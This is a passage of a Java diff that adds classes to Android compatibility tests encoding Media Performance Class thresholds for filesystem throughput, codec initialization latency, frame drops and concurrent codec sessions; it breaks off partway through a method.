+    public static class FileSystemRequirement extends Requirement {
+
+        private static final String TAG = FileSystemRequirement.class.getSimpleName();
+
+        private FileSystemRequirement(String id, RequiredMeasurement<?>... reqs) {
+            super(id, reqs);
+        }
+        /**
+         * Set the Filesystem I/O Rate in MB/s.
+         */
+        public void setFilesystemIoRate(double filesystemIoRate) {
+            this.setMeasuredValue(RequirementConstants.FILESYSTEM_IO_RATE, filesystemIoRate);
+        }
+
+        /**
+         * [8.2/H-1-1] MUST ensure a sequential write performance of at least 100(R) / 125(S &
+         * above) MB/s.
+         */
+        public static FileSystemRequirement createR8_2__H_1_1() {
+            RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+                .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R, 100.0)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 125.0)
+                .build();
+
+            return new FileSystemRequirement(RequirementConstants.R8_2__H_1_1, filesystem_io_rate);
+        }
+
+        /**
+         * [8.2/H-2-1] MUST ensure a sequential write performance of at least 125 MB/s.
+         */
+        public static FileSystemRequirement createR8_2__H_2_1() {
+            RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+                .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.S, 125.0)
+                .build();
+
+            return new FileSystemRequirement(RequirementConstants.R8_2__H_2_1, filesystem_io_rate);
+        }
+
+        /**
+         * [8.2/H-1-2] MUST ensure a random write performance of at least 10 MB/s
+         */
+        public static FileSystemRequirement createR8_2__H_1_2() {
+            RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+                .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 10.0)
+                .build();
+
+            return new FileSystemRequirement(RequirementConstants.R8_2__H_1_2, filesystem_io_rate);
+        }
+
+        /**
+         * [8.2/H-2-2] MUST ensure a random write performance of at least 10 MB/s.
+         */
+        public static FileSystemRequirement createR8_2__H_2_2() {
+            RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+                .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.S, 10.0)
+                .build();
+
+            return new FileSystemRequirement(RequirementConstants.R8_2__H_2_2, filesystem_io_rate);
+        }
+
+        /**
+         * [8.2/H-1-3] MUST ensure a sequential read performance of at least 200(R) / 250(S &
+         * above) MB/s.
+         */
+        public static FileSystemRequirement createR8_2__H_1_3() {
+            RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+                .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R, 200.0)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 250.0)
+                .build();
+
+            return new FileSystemRequirement(RequirementConstants.R8_2__H_1_3, filesystem_io_rate);
+        }
+
+        /**
+         * [8.2/H-2-3] MUST ensure a sequential read performance of at least 250 MB/s.
+         */
+        public static FileSystemRequirement createR8_2__H_2_3() {
+            RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+                .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.S, 250.0)
+                .build();
+
+            return new FileSystemRequirement(RequirementConstants.R8_2__H_2_3, filesystem_io_rate);
+        }
+
+        /**
+         * [8.2/H-1-4] MUST ensure a random read performance of at least 25(R) / 40(S & above) MB/s.
+         */
+        public static FileSystemRequirement createR8_2__H_1_4() {
+            RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+                .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R, 25.0)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 40.0)
+                .build();
+
+            return new FileSystemRequirement(RequirementConstants.R8_2__H_1_4, filesystem_io_rate);
+        }
+
+        /**
+         * [8.2/H-2-4] MUST ensure a random read performance of at least 40 MB/s.
+         */
+        public static FileSystemRequirement createR8_2__H_2_4() {
+            RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+                .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.S, 40.0)
+                .build();
+
+            return new FileSystemRequirement(RequirementConstants.R8_2__H_2_4, filesystem_io_rate);
+        }
+    }
+
+    public static class CodecInitLatencyRequirement extends Requirement {
+
+        private static final String TAG = CodecInitLatencyRequirement.class.getSimpleName();
+
+        private CodecInitLatencyRequirement(String id, RequiredMeasurement<?>... reqs) {
+            super(id, reqs);
+        }
+
+        public void setCodecInitLatencyMs(long codecInitLatencyMs) {
+            this.setMeasuredValue(RequirementConstants.CODEC_INIT_LATENCY, codecInitLatencyMs);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-7] MUST have a codec initialization latency of 65(R) / 50(S) / 40(T)
+         * ms or less for a 1080p or smaller video encoding session for all hardware video
+         * encoders when under load. Load here is defined as a concurrent 1080p to 720p
+         * video-only transcoding session using hardware video codecs together with the 1080p
+         * audio-video recording initialization.
+         */
+        public static CodecInitLatencyRequirement createR5_1__H_1_7() {
+            RequiredMeasurement<Long> codec_init_latency =
+                RequiredMeasurement.<Long>builder().setId(RequirementConstants.CODEC_INIT_LATENCY)
+                    .setPredicate(RequirementConstants.LONG_LTE)
+                    .addRequiredValue(Build.VERSION_CODES.R, 65L)
+                    .addRequiredValue(Build.VERSION_CODES.S, 50L)
+                    .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 40L)
+                    .build();
+
+            return new CodecInitLatencyRequirement(RequirementConstants.R5_1__H_1_7,
+                codec_init_latency);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-8] MUST have a codec initialization latency of 50(R) / 40(S) / 30(T)
+         * ms or less for a 128 kbps or lower bitrate audio encoding session for all audio
+         * encoders when under load. Load here is defined as a concurrent 1080p to 720p
+         * video-only transcoding session using hardware video codecs together with the 1080p
+         * audio-video recording initialization.
+         */
+        public static CodecInitLatencyRequirement createR5_1__H_1_8() {
+            RequiredMeasurement<Long> codec_init_latency =
+                RequiredMeasurement.<Long>builder().setId(RequirementConstants.CODEC_INIT_LATENCY)
+                    .setPredicate(RequirementConstants.LONG_LTE)
+                    .addRequiredValue(Build.VERSION_CODES.R, 50L)
+                    .addRequiredValue(Build.VERSION_CODES.S, 40L)
+                    .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 30L)
+                    .build();
+
+            return new CodecInitLatencyRequirement(RequirementConstants.R5_1__H_1_8,
+                codec_init_latency);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-12] Codec initialization latency of 40ms or less for a 1080p or
+         * smaller video decoding session for all hardware video encoders when under load. Load
+         * here is defined as a concurrent 1080p to 720p video-only transcoding session using
+         * hardware video codecs together with the 1080p audio-video recording initialization.
+         */
+        public static CodecInitLatencyRequirement createR5_1__H_1_12() {
+            RequiredMeasurement<Long> codec_init_latency =
+                RequiredMeasurement.<Long>builder().setId(RequirementConstants.CODEC_INIT_LATENCY)
+                    .setPredicate(RequirementConstants.LONG_LTE)
+                    .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 40L)
+                    .build();
+
+            return new CodecInitLatencyRequirement(RequirementConstants.R5_1__H_1_12,
+                    codec_init_latency);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-13] Codec initialization latency of 30ms or less for a 128kbps or
+         * lower bitrate audio decoding session for all audio encoders when under load. Load here
+         * is defined as a concurrent 1080p to 720p video-only transcoding session using hardware
+         * video codecs together with the 1080p audio-video recording initialization.
+         */
+        public static CodecInitLatencyRequirement createR5_1__H_1_13() {
+            RequiredMeasurement<Long> codec_init_latency =
+                RequiredMeasurement.<Long>builder().setId(RequirementConstants.CODEC_INIT_LATENCY)
+                    .setPredicate(RequirementConstants.LONG_LTE)
+                    .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 30L)
+                    .build();
+
+            return new CodecInitLatencyRequirement(RequirementConstants.R5_1__H_1_13,
+                    codec_init_latency);
+        }
+    }
+
+    // used for requirements [2.2.7.1/5.3/H-1-1], [2.2.7.1/5.3/H-1-2]
+    public static class FrameDropRequirement extends Requirement {
+        private static final String TAG = FrameDropRequirement.class.getSimpleName();
+
+        private FrameDropRequirement(String id, RequiredMeasurement<?>... reqs) {
+            super(id, reqs);
+        }
+
+        public void setFramesDropped(int framesDropped) {
+            this.setMeasuredValue(RequirementConstants.FRAMES_DROPPED, framesDropped);
+        }
+
+        public void setFrameRate(double frameRate) {
+            this.setMeasuredValue(RequirementConstants.FRAME_RATE, frameRate);
+        }
+
+        /**
+         * [2.2.7.1/5.3/H-1-1] MUST NOT drop more than 1 frames in 10 seconds (i.e less than 0.333
+         * percent frame drop) for a 1080p 30 fps video session under load. Load is defined as a
+         * concurrent 1080p to 720p video-only transcoding session using hardware video codecs,
+         * as well as a 128 kbps AAC audio playback.
+         */
+        public static FrameDropRequirement createR5_3__H_1_1_R() {
+            RequiredMeasurement<Integer> frameDropped = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.FRAMES_DROPPED)
+                .setPredicate(RequirementConstants.INTEGER_LTE)
+                // MUST NOT drop more than 1 frame in 10 seconds so 3 frames for 30 seconds
+                .addRequiredValue(Build.VERSION_CODES.R, 3)
+                .build();
+
+            RequiredMeasurement<Double> frameRate = RequiredMeasurement
+                .<Double>builder()
+                .setId(RequirementConstants.FRAME_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_EQ)
+                .addRequiredValue(Build.VERSION_CODES.R, 30.0)
+                .build();
+
+            return new FrameDropRequirement(RequirementConstants.R5_3__H_1_1, frameDropped,
+                frameRate);
+        }
+
+        /**
+         * [2.2.7.1/5.3/H-1-2] MUST NOT drop more than 1 frame in 10 seconds during a video
+         * resolution change in a 30 fps video session under load. Load is defined as a
+         * concurrent 1080p to 720p video-only transcoding session using hardware video codecs,
+         * as well as a 128Kbps AAC audio playback.
+         */
+        public static FrameDropRequirement createR5_3__H_1_2_R() {
+            RequiredMeasurement<Integer> frameDropped = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.FRAMES_DROPPED)
+                .setPredicate(RequirementConstants.INTEGER_LTE)
+                // MUST NOT drop more than 1 frame in 10 seconds so 3 frames for 30 seconds
+                .addRequiredValue(Build.VERSION_CODES.R, 3)
+                .build();
+
+            RequiredMeasurement<Double> frameRate = RequiredMeasurement
+                .<Double>builder()
+                .setId(RequirementConstants.FRAME_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_EQ)
+                .addRequiredValue(Build.VERSION_CODES.R, 30.0)
+                .build();
+
+            return new FrameDropRequirement(RequirementConstants.R5_3__H_1_2, frameDropped,
+                frameRate);
+        }
+
+        /**
+         * [2.2.7.1/5.3/H-1-1] MUST NOT drop more than 2(S) / 1(T) frames in 10 seconds for a
+         * 1080p 60 fps video session under load. Load is defined as a concurrent 1080p to 720p
+         * video-only transcoding session using hardware video codecs, as well as a 128 kbps AAC
+         * audio playback.
+         */
+        public static FrameDropRequirement createR5_3__H_1_1_ST() {
+            RequiredMeasurement<Integer> frameDropped = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.FRAMES_DROPPED)
+                .setPredicate(RequirementConstants.INTEGER_LTE)
+                // MUST NOT drop more than 2 frame in 10 seconds so 6 frames for 30 seconds
+                .addRequiredValue(Build.VERSION_CODES.S, 6)
+                // MUST NOT drop more than 1 frame in 10 seconds so 3 frames for 30 seconds
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 3)
+                .build();
+
+            RequiredMeasurement<Double> frameRate = RequiredMeasurement
+                .<Double>builder()
+                .setId(RequirementConstants.FRAME_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_EQ)
+                .addRequiredValue(Build.VERSION_CODES.S, 60.0)
+                .build();
+
+            return new FrameDropRequirement(RequirementConstants.R5_3__H_1_1, frameDropped,
+                frameRate);
+        }
+
+        /**
+         * [2.2.7.1/5.3/H-1-2] MUST NOT drop more than 2(S) / 1(T) frames in 10 seconds during a
+         * video resolution change in a 60 fps video session under load. Load is defined as a
+         * concurrent 1080p to 720p video-only transcoding session using hardware video codecs,
+         * as well as a 128Kbps AAC audio playback.
+         */
+        public static FrameDropRequirement createR5_3__H_1_2_ST() {
+            RequiredMeasurement<Integer> frameDropped = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.FRAMES_DROPPED)
+                .setPredicate(RequirementConstants.INTEGER_LTE)
+                // MUST NOT drop more than 2 frame in 10 seconds so 6 frames for 30 seconds
+                .addRequiredValue(Build.VERSION_CODES.S, 6)
+                // MUST NOT drop more than 1 frame in 10 seconds so 3 frames for 30 seconds
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 3)
+                .build();
+
+            RequiredMeasurement<Double> frameRate = RequiredMeasurement
+                .<Double>builder()
+                .setId(RequirementConstants.FRAME_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_EQ)
+                .addRequiredValue(Build.VERSION_CODES.S, 60.0)
+                .build();
+
+            return new FrameDropRequirement(RequirementConstants.R5_3__H_1_2, frameDropped,
+                frameRate);
+        }
+    }
+
+    public static class VideoCodecRequirement extends Requirement {
+        private static final String TAG = VideoCodecRequirement.class.getSimpleName();
+
+        private VideoCodecRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setAv1DecoderReq(boolean av1DecoderReqSatisfied) {
+            this.setMeasuredValue(RequirementConstants.AV1_DEC_REQ, av1DecoderReqSatisfied);
+        }
+
+        public void set4kHwDecoders(int num4kHwDecoders) {
+            this.setMeasuredValue(RequirementConstants.NUM_4k_HW_DEC, num4kHwDecoders);
+        }
+
+        public void set4kHwEncoders(int num4kHwEncoders) {
+            this.setMeasuredValue(RequirementConstants.NUM_4k_HW_ENC, num4kHwEncoders);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-15] Must have at least 1 HW video decoder supporting 4K60
+         */
+        public static VideoCodecRequirement createR4k60HwDecoder() {
+            RequiredMeasurement<Integer> requirement = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.NUM_4k_HW_DEC)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1)
+                .build();
+
+            return new VideoCodecRequirement(RequirementConstants.R5_1__H_1_15, requirement);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-16] Must have at least 1 HW video encoder supporting 4K60
+         */
+        public static VideoCodecRequirement createR4k60HwEncoder() {
+            RequiredMeasurement<Integer> requirement = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.NUM_4k_HW_ENC)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1)
+                .build();
+
+            return new VideoCodecRequirement(RequirementConstants.R5_1__H_1_16, requirement);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-14] AV1 Hardware decoder: Main 10, Level 4.1, Film Grain
+         */
+        public static VideoCodecRequirement createRAV1DecoderReq() {
+            RequiredMeasurement<Boolean> requirement = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.AV1_DEC_REQ)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+
+            return new VideoCodecRequirement(RequirementConstants.R5_1__H_1_14, requirement);
+        }
+    }
+
+    // used for requirements [2.2.7.1/5.1/H-1-1], [2.2.7.1/5.1/H-1-2], [2.2.7.1/5.1/H-1-3],
+    // [2.2.7.1/5.1/H-1-4], [2.2.7.1/5.1/H-1-5], [2.2.7.1/5.1/H-1-6], [2.2.7.1/5.1/H-1-9],
+    // [2.2.7.1/5.1/H-1-10]
+    public static class ConcurrentCodecRequirement extends Requirement {
+        private static final String TAG = ConcurrentCodecRequirement.class.getSimpleName();
+        // allowed tolerance in measured fps vs expected fps in percentage, i.e. codecs achieving
+        // fps that is greater than (FPS_TOLERANCE_FACTOR * expectedFps) will be considered as
+        // passing the test
+        private static final double FPS_TOLERANCE_FACTOR = 0.95;
+        private static final double FPS_30_TOLERANCE = 30.0 * FPS_TOLERANCE_FACTOR;
+        static final int REQUIRED_MIN_CONCURRENT_INSTANCES = 6;
+        static final int REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9 = 2;
+
+        private ConcurrentCodecRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setConcurrentInstances(int concurrentInstances) {
+            this.setMeasuredValue(RequirementConstants.CONCURRENT_SESSIONS,
+                concurrentInstances);
+        }
+
+        public void setConcurrentFps(double achievedFps) {
+            this.setMeasuredValue(RequirementConstants.CONCURRENT_FPS, achievedFps);
+        }
+
+        // copied from android.mediapc.cts.getReqMinConcurrentInstances due to build issues on aosp
+        public static int getReqMinConcurrentInstances(int performanceClass, String mimeType1,
+            String mimeType2, int resolution) {
+            ArrayList<String> MEDIAPC_CONCURRENT_CODECS_R = new ArrayList<>(
+                Arrays.asList(MediaFormat.MIMETYPE_VIDEO_AVC, MediaFormat.MIMETYPE_VIDEO_HEVC));
+            ArrayList<String> MEDIAPC_CONCURRENT_CODECS = new ArrayList<>(Arrays
+                .asList(MediaFormat.MIMETYPE_VIDEO_AVC, MediaFormat.MIMETYPE_VIDEO_HEVC,
+                    MediaFormat.MIMETYPE_VIDEO_VP9, MediaFormat.MIMETYPE_VIDEO_AV1));
+
+            if (performanceClass >= Build.VERSION_CODES.TIRAMISU) {
+                return resolution >= 1080 ? REQUIRED_MIN_CONCURRENT_INSTANCES : 0;
+            } else if (performanceClass == Build.VERSION_CODES.S) {
+                if (resolution >= 1080) {
+                    return 0;
+                }
+                if (MEDIAPC_CONCURRENT_CODECS.contains(mimeType1) && MEDIAPC_CONCURRENT_CODECS
+                    .contains(mimeType2)) {
+                    if (MediaFormat.MIMETYPE_VIDEO_VP9.equalsIgnoreCase(mimeType1)
+                        || MediaFormat.MIMETYPE_VIDEO_VP9.equalsIgnoreCase(mimeType2)) {
+                        return REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9;
+                    } else {
+                        return REQUIRED_MIN_CONCURRENT_INSTANCES;
+                    }
+                } else {
+                    return 0;
+                }
+            } else if (performanceClass == Build.VERSION_CODES.R) {
+                if (resolution >= 1080) {
+                    return 0;
+                }
+                if (MEDIAPC_CONCURRENT_CODECS_R.contains(mimeType1) && MEDIAPC_CONCURRENT_CODECS_R
+                    .contains(mimeType2)) {
+                    return REQUIRED_MIN_CONCURRENT_INSTANCES;
+                } else {
+                    return 0;
+                }
+            } else {
+                return 0;
+            }
+        }
+
+        private static double getReqMinConcurrentFps(int performanceClass, String mimeType1,
+            String mimeType2, int resolution) {
+            return FPS_30_TOLERANCE * getReqMinConcurrentInstances(performanceClass, mimeType1,
+                mimeType2, resolution);
+        }
+
+        /**
+         * Helper method used to create ConcurrentCodecRequirements, builds and fills out the
+         * a requirement for tests ran with a resolution of 720p
+         */
+        private static ConcurrentCodecRequirement create720p(String requirementId,
+                RequiredMeasurement<?> measure) {
+            RequiredMeasurement<Integer> testResolution = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.TEST_RESOLUTION)
+                .setPredicate(RequirementConstants.INTEGER_EQ)
+                .addRequiredValue(Build.VERSION_CODES.R, 720)
+                .build();
+
+            ConcurrentCodecRequirement req = new ConcurrentCodecRequirement(requirementId, measure,
+                    testResolution);
+            req.setMeasuredValue(RequirementConstants.TEST_RESOLUTION, 720);
+            return req;
+        }
+
+        /**
+         * Helper method used to create ConcurrentCodecRequirements, builds and fills out the
+         * a requirement for tests ran with a resolution of 1080p
+         */
+        private static ConcurrentCodecRequirement create1080p(String requirementId,
+                RequiredMeasurement<?> measure) {
+            RequiredMeasurement<Integer> testResolution = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.TEST_RESOLUTION)
+                .setPredicate(RequirementConstants.INTEGER_EQ)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1080)
+                .build();
+
+            ConcurrentCodecRequirement req = new ConcurrentCodecRequirement(requirementId, measure,
+                    testResolution);
+            req.setMeasuredValue(RequirementConstants.TEST_RESOLUTION, 1080);
+            return req;
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-1] MUST advertise the maximum number of hardware video decoder
+         * sessions that can be run concurrently in any codec combination via the
+         * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+         * .getSupportedPerformancePoints() methods.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_1_720p(String mimeType1,
+            String mimeType2, int resolution) {
+            RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.CONCURRENT_SESSIONS)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R,
+                    getReqMinConcurrentInstances(Build.VERSION_CODES.R, mimeType1, mimeType2,
+                        resolution))
+                .addRequiredValue(Build.VERSION_CODES.S,
+                    getReqMinConcurrentInstances(Build.VERSION_CODES.S, mimeType1, mimeType2,
+                        resolution))
+                .build();
+
+            return create720p(RequirementConstants.R5_1__H_1_1, maxInstances);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-1] MUST advertise the maximum number of hardware video decoder
+         * sessions that can be run concurrently in any codec combination via the
+         * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+         * .getSupportedPerformancePoints() methods.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_1_1080p() {
+            RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.CONCURRENT_SESSIONS)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 6)
+                .build();
+
+            return create1080p(RequirementConstants.R5_1__H_1_1, maxInstances);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-2] MUST support 6 instances of hardware video decoder sessions (AVC,
+         * HEVC, VP9* or later) in any codec combination running concurrently at 720p(R,S)
+         * resolution@30 fps.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_2_720p(String mimeType1,
+            String mimeType2, int resolution) {
+            RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+                .setId(RequirementConstants.CONCURRENT_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R,
+                    getReqMinConcurrentFps(Build.VERSION_CODES.R, mimeType1, mimeType2, resolution))
+                .addRequiredValue(Build.VERSION_CODES.S,
+                    getReqMinConcurrentFps(Build.VERSION_CODES.S, mimeType1, mimeType2, resolution))
+                .build();
+
+            return create720p(RequirementConstants.R5_1__H_1_2, reqConcurrentFps);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-2] MUST support 6 instances of hardware video decoder sessions (AVC,
+         * HEVC, VP9* or later) in any codec combination running concurrently at 1080p(T)
+         * resolution@30 fps.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_2_1080p() {
+            RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+                .setId(RequirementConstants.CONCURRENT_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 6 * FPS_30_TOLERANCE)
+                .build();
+
+            return create1080p(RequirementConstants.R5_1__H_1_2, reqConcurrentFps);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-3] MUST advertise the maximum number of hardware video encoder
+         * sessions that can be run concurrently in any codec combination via the
+         * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+         * .getSupportedPerformancePoints() methods.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_3_720p(String mimeType1,
+            String mimeType2, int resolution) {
+            RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.CONCURRENT_SESSIONS)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R,
+                    getReqMinConcurrentInstances(Build.VERSION_CODES.R, mimeType1, mimeType2,
+                        resolution))
+                .addRequiredValue(Build.VERSION_CODES.S,
+                    getReqMinConcurrentInstances(Build.VERSION_CODES.S, mimeType1, mimeType2,
+                        resolution))
+                .build();
+
+            return create720p(RequirementConstants.R5_1__H_1_3, maxInstances);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-3] MUST advertise the maximum number of hardware video encoder
+         * sessions that can be run concurrently in any codec combination via the
+         * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+         * .getSupportedPerformancePoints() methods.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_3_1080p() {
+            RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.CONCURRENT_SESSIONS)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 6)
+                .build();
+
+            return create1080p(RequirementConstants.R5_1__H_1_3, maxInstances);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-4] MUST support 6 instances of hardware video encoder sessions (AVC,
+         * HEVC, VP9* or later) in any codec combination running concurrently at 720p(R,S)
+         * resolution@30 fps.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_4_720p() {
+            RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+                .setId(RequirementConstants.CONCURRENT_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                // Requirement not asserted since encoder test runs in byte buffer mode
+                .addRequiredValue(Build.VERSION_CODES.R, 0.0)
+                .addRequiredValue(Build.VERSION_CODES.S, 0.0)
+                .build();
+
+            return create720p(RequirementConstants.R5_1__H_1_4, reqConcurrentFps);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-4] MUST support 6 instances of hardware video encoder sessions (AVC,
+         * HEVC, VP9* or later) in any codec combination running concurrently at 1080p(T)
+         * resolution@30 fps.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_4_1080p() {
+            RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+                .setId(RequirementConstants.CONCURRENT_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                // Requirement not asserted since encoder test runs in byte buffer mode
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 0.0)
+                .build();
+
+            return create1080p(RequirementConstants.R5_1__H_1_4, reqConcurrentFps);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-5] MUST advertise the maximum number of hardware video encoder and
+         * decoder sessions that can be run concurrently in any codec combination via the
+         * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+         * .getSupportedPerformancePoints() methods.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_5_720p(String mimeType1,
+            String mimeType2, int resolution) {
+            RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.CONCURRENT_SESSIONS)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R,
+                    getReqMinConcurrentInstances(Build.VERSION_CODES.R, mimeType1, mimeType2,
+                        resolution))
+                .addRequiredValue(Build.VERSION_CODES.S,
+                    getReqMinConcurrentInstances(Build.VERSION_CODES.S, mimeType1, mimeType2,
+                        resolution))
+                .build();
+
+            return create720p(RequirementConstants.R5_1__H_1_5, maxInstances);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-5] MUST advertise the maximum number of hardware video encoder and
+         * decoder sessions that can be run concurrently in any codec combination via the
+         * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+         * .getSupportedPerformancePoints() methods.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_5_1080p() {
+            RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.CONCURRENT_SESSIONS)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 6)
+                .build();
+
+            return create1080p(RequirementConstants.R5_1__H_1_5, maxInstances);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-6] Support 6 instances of hardware video decoder and hardware video
+         * encoder sessions (AVC, HEVC, VP9 or AV1) in any codec combination running concurrently
+         * at 720p(R,S) /1080p(T) @30fps resolution.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_6_720p(String mimeType1,
+            String mimeType2, int resolution) {
+            RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+                .setId(RequirementConstants.CONCURRENT_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                // Test transcoding, fps calculated for encoder and decoder combined so req / 2
+                .addRequiredValue(Build.VERSION_CODES.R,
+                    getReqMinConcurrentFps(Build.VERSION_CODES.R, mimeType1, mimeType2, resolution)
+                        / 2)
